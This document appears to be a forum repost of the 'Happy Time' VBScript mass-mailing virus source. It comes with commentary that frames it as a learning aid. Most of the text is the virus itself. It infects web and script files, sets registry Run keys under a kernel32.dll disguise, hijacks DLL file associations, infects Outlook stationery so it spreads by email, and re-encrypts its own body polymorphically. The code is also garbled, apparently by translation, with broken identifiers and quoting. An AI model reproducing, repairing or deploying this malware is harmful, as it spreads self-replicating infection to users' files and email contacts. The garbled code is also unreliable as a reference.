Source code analysis of the "Happy Time" virus

Keywords: virus source code new Happy Time virus program source code analysis vbs VBScript source code

Abstract: Find this source code on the Forum, with a detailed description, this program is useful for learning to improve programming level, it will be added to the favorites.

Dim inwhere, htmltext, vbstext, degreesign, appleobject, FSO, wsshell, winpath, sube, finalydisk
Sub kj_start ()
'Initialization variable
Kjsetdim ()
'Initialize the environment
Kjcreatemilieu ()
'Infect the local directory or share the directory with HTML
Kjlikeit ()
'Infect Outlook mail template with vbs
Kjcreatemail ()
'Spread the virus
Kjpropagate ()
End sub

'Function: kjappendto (filepath, typestr)
'Function: append a virus to a specified file of the specified type.
'Parameter:
'Filepath' specifies the file path
'Typestr specified type
Function kjappendto (filepath, typestr)
On Error resume next
'Open the specified file in read-only mode
Set readtemp = FSO. opentextfile (filepath, 1)
'Read the file content into the tmpstr variable
Tmpstr = readtemp. readall
'Determine whether the "kj_start ()" string exists in the file. If yes, it indicates it has been infected. Exit the function;
'If the file length is less than 1, exit the function.
If instr (tmpstr, "kj_start ()") <> 0 or Len (tmpstr) <1 then
Readtemp. Close
Exit Function
End if
'If the input type is "htt"
'Load the kj_start () function when the file header is added to the call page;
'Append the html version of the encrypted virus to the end of the file.
'For "html"
'Load the kj_start () function and the virus body of the html version when calling the page at the end of the file;
'For "vbs"
'Append the vbs version of the virus to the end of the file.
If typestr = "htt" then
Readtemp. Close
Set filetemp = FSO. opentextfile (filepath, 2)
Filetemp. Write "<" & "body onload = """
& "VBScript:" & "kj_start ()" "&"> "& vbcrlf & tmpstr & vbcrlf & htmltext
Filetemp. Close
Set fattrib = FSO. GetFile (filepath)
Fattrib. Attributes = 34
Else
Readtemp. Close
Set filetemp = FSO. opentextfile (filepath, 8)
If typestr = "html" then
Filetemp. Write vbcrlf & "<" & "HTML>" & vbcrlf & "<"
& "Body onload =" "&" VBScript: "&" kj_start () "" & ">" & vbcrlf & htmltext
Elseif typestr = "vbs" then
Filetemp. Write vbcrlf & vbstext
End if
Filetemp. Close
End if
End Function

'Function: kjchangesub (currentstring, lastindexchar)
'Function: Change sub-directories and drive letters
'Parameter:
'Currentstring Current Directory
'Lastdexchar location of the upper-level directory in the current path
Function kjchangesub (currentstring, lastindexchar)
'Determine whether it is the root directory
If lastindexchar = 0 then
'If it is the root directory
'If it is C: //, return the finalydisk and set sube to 0,
'If it is not C: //, return to decrease the current drive letter by 1, and set sube to 0
If left (lcase (currentstring), 1) = <lcase ("C") then
Kjchangesub = finalydisk &":/"
Sube = 0
Else
Kjchangesub = CHR (ASC (left (lcase (currentstring), 1)-1 )&":/"
Sube = 0
End if
Else
'If it is not the root directory, the name of the upper-level directory is returned.
Kjchangesub = mid (currentstring, 1, lastindexchar)
End if
End Function

'Function: kjcreatemail ()
'Function: infected emails
Function kjcreatemail ()
On Error resume next
'If the current execution file is "html", exit the function.
If inwhere = "html" then
Exit Function
End if
'Path to the blank page of the System Disk
Export File = left (winpath, 3) & "program files/common files/Microsoft shared/stationery/blank.htm"
'If this file exists, append the HTML virus to it.
'Otherwise, this file containing the virus is generated.
If (FSO. fileexists (partition file) then
Call kjappendto (jsonfile, "html ")
Else
Set filetemp = FSO. opentextfile (optional file, 2, true)
Filetemp. write "<" & "HTML>" & vbcrlf & "<" & "body onload =" "&" VBScript: "&" kj_start () "&"> "& vbcrlf & htmltext
Filetemp. Close
End if
'Get the ID of the current user and the version of outlook.
Defaultid = wsshell. regread ("HKEY_CURRENT_USER/identities/Default User ID ")
Outlookversion = wsshell. regread ("HKEY_LOCAL_MACHINE/software/Microsoft/Outlook Express/mediaver ")
'Activate the paper function and infect all the paper
Wsshell. regwrite "HKEY_CURRENT_USER/identities/" & defaultid & "/software/Microsoft/Outlook Express/" & left (outlookversion, 1 )&". 0/mail/compose use stationery ", 1," REG_DWORD"
Call kjmailreg ("HKEY_CURRENT_USER/identities/" & defaultid & "/software/Microsoft/Outlook Express/" & left (outlookversion, 1 )&". 0/mail/stationery name ", invalid file)
Call kjmailreg ("HKEY_CURRENT_USER/identities/" & defaultid & "/software/Microsoft/Outlook Express/" & left (outlookversion, 1 )&". 0/mail/wide stationery name ", invalid file)
Wsshell. regwrite "HKEY_CURRENT_USER/software/Microsoft/office/9.0/Outlook/options/mail/editorpreference", 131072, "REG_DWORD"
Call kjmailreg ("HKEY_CURRENT_USER/software/Microsoft/Windows messaging subsystem/profiles/Microsoft Outlook Internet Settings/0a0d020000000000c000000000000046/001e0360", "blank ")
Call kjmailreg ("HKEY_CURRENT_USER/software/Microsoft/Windows NT/CurrentVersion/Windows messaging subsystem/profiles/Microsoft Outlook Internet Settings/0a0d020000000000c000000000000046/001e0360", "blank ")
Wsshell. regwrite "HKEY_CURRENT_USER/software/Microsoft/office/10.0/Outlook/options/mail/editorpreference", 131072, "REG_DWORD"
Call kjmailreg ("HKEY_CURRENT_USER/software/Microsoft/office/10.0/common/mailsettings/newstationery", "blank ")
Kjummagefolder (left (winpath, 3) & "program files/common files/Microsoft shared/stationery ")
End Function

'Function: kjcreatemilieu ()
'Function: Create a system environment
Function kjcreatemilieu ()
On Error resume next
Temppath = ""
'Determine whether the operating system is NT/2000 or 9x
If not (FSO. fileexists (winpath & "wscript.exe") then
Temppath = "system32 /"
End if
'The file name is confusing and does not conflict with the system file.
'If it is NT/2000, the startup file is system/kernel32.dll.
'If it is a 9x Startup file, it is system/kernel. dll.
If temppath = "system32/" then
Startupfile = winpath & "system/kernel32.dll"
Else
Startupfile = winpath & "system/kernel. dll"
End if
'Add the run value and add the generated Startup File Path.
Wsshell. regwrite "HKEY_LOCAL_MACHINE/software/Microsoft/Windows/CurrentVersion/run/Kernel32", startupfile
'Copy the backup file to the original directory.
FSO. copyfile winpath & "Web/kjwall.gif", winpath & "Web/folder. htt"
FSO. copyfile winpath & "system32/kjwall.gif", winpath & "system32/desktop. ini"
'Append the virus body to % WINDIR %/web/folder. htt
Call kjappendto (winpath & "Web/folder. htt", "htt ")
'Change the dll mime Header
'Change the default DLL icon
'Change the DLL Opening Method
Wsshell. regwrite "hkey_classes_root/. dll/", "dllfile"
Wsshell. regwrite "hkey_classes_root/. dll/content type", "application/X-msdownload"
Wsshell. regwrite "hkey_classes_root/dllfile/defaulticon/", wsshell. regread ("hkey_classes_root/vxdfile/defaulticon /")
Wsshell. regwrite "hkey_classes_root/dllfile/scriptengine/", "VBScript"
Wsshell. regwrite "hkey_classes_root/dllfile/Shell/Open/command/", winpath & temppath & "wscript.exe" "% 1" "% *"
Wsshell. regwrite "hkey_classes_root/dllfile/shellex/propertysheethandlers/wshprops/", "{60254ca5-953b-11cf-8c96-00aa00b8708c }"
Wsshell. regwrite "hkey_classes_root/dllfile/scripthostencode/", "{85131631-480c-11d2-b1f9-00c04f86c324 }"
'Write the virus body to the virus file loaded at startup.
Set filetemp = FSO. opentextfile (startupfile, 2, true)
Filetemp. Write vbstext
Filetemp. Close
End Function

'Function: kjlikeit ()
'Function: Process HTML files. If you access a local or shared file, the directory will be infected.
Function kjlikeit ()
'Exit the program if the current execution file is not "html ".
If inwhere <> "html" then
Exit Function
End if
'Get the current path of the document
Thislocation = Document. Location
'If the file is shared locally or online
If left (thislocation, 4) = "file" then
Thislocation = mid (thislocation, 9)
'If the file extension is not empty, save its path in thislocation.
If FSO. getextensionname (thislocation) <> "then
Thislocation = left (thislocation, Len (thislocation)-len (FSO. getfilename (thislocation )))
End if
'If the length of thislocation is greater than 3, it will end with "/"
If Len (thislocation)> 3 then
Thislocation = thislocation &"/"
End if
'Infect this directory
Kjummagefolder (thislocation)
End if
End Function

'Function: kjmailreg (regstr, filename)
'Function: if the specified key value in the registry does not exist, write the specified file name to the specified location.
'Parameter:
'Regstr registry specifies the key value
'Filename' specifies the file name
Function kjmailreg (regstr, filename)
On Error resume next
'If the specified key value in the registry does not exist, write the specified file name to the specified location
Regtempstr = wsshell. regread (regstr)
If regtempstr = "" then
Wsshell. regwrite regstr, filename
End if
End Function

'Function: kjobosub (currentstring)
'Function: traverse and return the directory path
'Parameter:
'Currentstring Current Directory
Function kjobosub (currentstring)
Sube = 0
Testout = 0
Do While true
Testout = testout + 1
If testout> 28 then
Currentstring = finalydisk &":/"
Exit do
End if
On Error resume next
'Get all subdirectories of the current directory and put them in the dictionary
Set thisfolder = FSO. getfolder (currentstring)
Set dicsub = Createobject ("scripting. Dictionary ")
Set folders = thisfolder. subfolders
Foldercount = 0
For each tempfolder in folders
Foldercount = foldercount + 1
Dicsub. Add foldercount, tempfolder. Name
Next
'If there are no subdirectories, call kjchangesub to return the upper-level directory or replace the drive letter, and set sube to 1.
If dicsub. Count = 0 then
Lastindexchar = Limit Rev (currentstring, "/", Len (currentstring)-1)
Substring = mid (currentstring, lastindexchar + 1, Len (currentstring)-LastIndexChar-1)
Currentstring = kjchangesub (currentstring, lastindexchar)
Sube = 1
Else
'If a subdirectory exists
'If sube is 0, currentstring will be changed to its 1st subdirectories.
If sube = 0 then
Currentstring = currentstring & dicsub. Item (1 )&"/"
Exit do
Else
'If sube is 1, traverse the subdirectory and return the next subdirectory
J = 0
For j = 1 to foldercount
If lcase (substring) = lcase (dicsub. Item (j) then
If j <foldercount then
Currentstring = currentstring & dicsub. Item (J + 1 )&"/"
Exit do
End if
End if
Next
Lastindexchar = Limit Rev (currentstring, "/", Len (currentstring)-1)
Substring = mid (currentstring, lastindexchar + 1, Len (currentstring)-LastIndexChar-1)
Currentstring = kjchangesub (currentstring, lastindexchar)
End if
End if
Loop
Kjobosub = currentstring
End Function

'Function: kjpropagate ()
'Function: Virus Propagation
Function kjpropagate ()
On Error resume next
Regpathvalue = "HKEY_LOCAL_MACHINE/software/Microsoft/Outlook Express/degree"
Diskdegree = wsshell. regread (regpathvalue)
'If the degree key value does not exist, diskdegree is the finalydisk.
If diskdegree = "" then
Diskdegree = finalydisk &":/"
End if
'After diskdegree is set, five directories are infected.
For I = 1 to 5
Diskdegree = kjobosub (diskdegree)
Kjummagefolder (diskdegree)
Next
'Save the infection record in the "HKEY_LOCAL_MACHINE/software/Microsoft/Outlook Express/degree" key value
Wsshell. regwrite regpathvalue, diskdegree
End Function

'Function: kjummagefolder (pathname)
'Function: infect a specified directory
'Parameter:
'Pathname specifies the Directory
Function kjummagefolder (pathname)
On Error resume next
'Retrieve all file sets in the directory
Set Foldername = FSO. getfolder (pathname)
Set thisfiles = Foldername. Files
Httexists = 0
For each thisfile in thisfiles
Fileext = ucase (FSO. getextensionname (thisfile. Path ))
'Determine the extension
'If it is htm, HTML, ASP, PHP, and JSP, an HTML virus is appended to the file.
'If vbs is used, append the vbs virus to the file.
'If it is htt, it indicates that the htt already exists.
If fileext = "htm" or fileext = "html" or fileext = "asp" or fileext = "php" or fileext = "jsp" then
Call kjappendto (thisfile. path, "html ")
Elseif fileext = "vbs" then
Call kjappendto (thisfile. path, "vbs ")
Elseif fileext = "htt" then
Httexists = 1
End if
Next
'If the given path is a desktop, it indicates that the htt already exists.
If (ucase (pathname) = ucase (winpath & "desktop/") or (ucase (pathname) = ucase (winpath & "desktop") then
Httexists = 1
End if
'If htt does not exist
'Append the virus to the directory.
If httexists = 0 then
FSO. copyfile winpath & "system32/desktop. ini", pathname
FSO. copyfile winpath & "Web/folder. htt", pathname
End if
End Function

'Function kjsetdim ()
'Define FSO, wsshell object
'Get the last available disk volume tag
'Generate encrypted strings for Transmission
'Backup the Web/folder. htt and system32/desktop. ini IN THE SYSTEM
Function kjsetdim ()
On Error resume next
Err. Clear

'Test whether the current execution file is HTML or vbs.
Testit = wscript. scriptfullname
If err then
Inwhere = "html"
Else
Inwhere = "vbs"
End if

'Create file access objects and Shell Objects
If inwhere = "vbs" then
Set FSO = Createobject ("scripting. FileSystemObject ")
Set wsshell = Createobject ("wscript. Shell ")
Else
Set appleobject = Document. Applets ("kj_guest ")
Appleobject. setclsid ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B }")
Appleobject. createinstance ()
Set wsshell = appleobject. GetObject ()
Appleobject. setclsid ("{0d43fe01-f093-11cf-8940-00a0c9054228 }")
Appleobject. createinstance ()
Set FSO = appleobject. GetObject ()
End if
Set diskobject = FSO. Drives
'Determine the disk type
'
'0: Unknown
'1: removable
'2: fixed
'3: Network
'4: CD-ROM
'5: RAM disk
'If it is not a removable disk or a fixed disk, it will jump out of the loop. The authors may consider that network disks, CD-Rom, and RAM disks are all in the back. What if C: ramdisk?
For each disktemp in diskobject
If disktemp. drivetype <> 2 and disktemp. drivetype <> 1 then
Exit
End if
Finalydisk = disktemp. driveletter
Next

'The previous virus has been decrypted and stored in thistext. to spread the virus, you need to re-encrypt it.
'Encryption Algorithm
Dim otherarr (3)
Randomize
'Four operators are randomly generated.
For I = 0 to 3
Otherarr (I) = int (9 * RND ))
Next
Tempstring = ""
For I = 1 to Len (thistext)
Tempnum = ASC (mid (thistext, I, 1 ))
'Special handling on carriage return and line feed (0x0d, 0x0a)
If tempnum = 13 then
Tempnum = 28
Elseif tempnum = 10 then
Tempnum = 29
End if
'The encryption is simple, and each character minus the corresponding operator. During decryption, you only need to add the corresponding operator to each character in this order.
Tempchar = CHR (tempnum-otherarr (I mod 4 ))
If tempchar = CHR (34) then
Tempchar = CHR (18)
End if
Tempstring = tempstring & tempchar
Next
'String containing the decryption algorithm
Unlockstr = "execute (" "dim keyarr (3), thistext" "& vbcrlf &" "keyarr (0) =" & otherarr (0) & "" & vbcrlf & "" keyarr (1) = "& otherarr (1) &" "& vbcrlf &" "keyarr (2) =" & otherarr (2) & "" & vbcrlf & "" keyarr (3) = "& otherarr (3) &" "& vbcrlf &" "for I = 1 to Len (exestring) "" & vbcrlf & "" tempnum = ASC (mid (exestring, I, 1 )) "" & vbcrlf & "" If tempnum = 18 then "" & vbcrlf & "" tempnum = 34 "" & vbcrlf & "end if" "& vbcrlf &" "tempchar = CHR (tempnum + keyarr (I mod 4 )) "" & vbcrlf & "" If tempchar = CHR (28) then "" & vbcrlf & "" tempchar = vbcr "" & vbcrlf & "" elseif tempchar = CHR (29) then "" & vbcrlf & "" tempchar = vblf "" & vbcrlf & "" end if "" & vbcrlf & "" thistext = thistext & tempchar "" & vbcrlf & "" next "") "& vbcrlf &" execute (thistext )"
'Copy the encrypted virus to the variable thistext.
Thistext = "exestring =" "& tempstring &""""
'Generate HTML infected scripts
Htmltext = "<" & "Script Language = VBScript>" & vbcrlf & "document. write "&" & "<" & "Div style = 'position: absolute; left: 0px; top: 0px; width: 0px; Height: 0px; z-index: 28; visibility: hidden '> "&" <"&" applet name = kJ "" & "" _ Guest Height = 0 width = 0 code = com. ms. "" & "" ActiveX. active "" & "" xcomponent> "&" <"&"/APPLET> "&" <"&"/div> "" & vbcrlf & "<"&"/ SCRIPT> "& vbcrlf &" <"&" Script Language = VBScript> "& vbcrlf & thistext & vbcrlf & unlockstr & vbcrlf &" <"&"/SCRIPT> "& vbcrlf & "<" & "/body>" & vbcrlf & "<" & "/html>"
'Generate scripts for vbs Infection
Vbstext = thistext & vbcrlf & unlockstr & vbcrlf & "kj_start ()"
'Get the Windows directory
'Getspecialfolder (N)
'0: windowsfolder
'1: systemfolder
'2: temporaryfolder
'If the system directory contains Web/folder. htt and system32/cmdtop.ini, use the kjwall.gif file name to back up them.
Winpath = FSO. getspecialfolder (0 )&"/"
If (FSO. fileexists (winpath & "Web/folder. htt") then
FSO. copyfile winpath & "Web/folder. htt", winpath & "Web/kjwall.gif"
End if
If (FSO. fileexists (winpath & "system32/desktop. ini") then
FSO. copyfile winpath & "system32/desktop. ini", winpath & "system32/kjwall.gif"
End if
End Function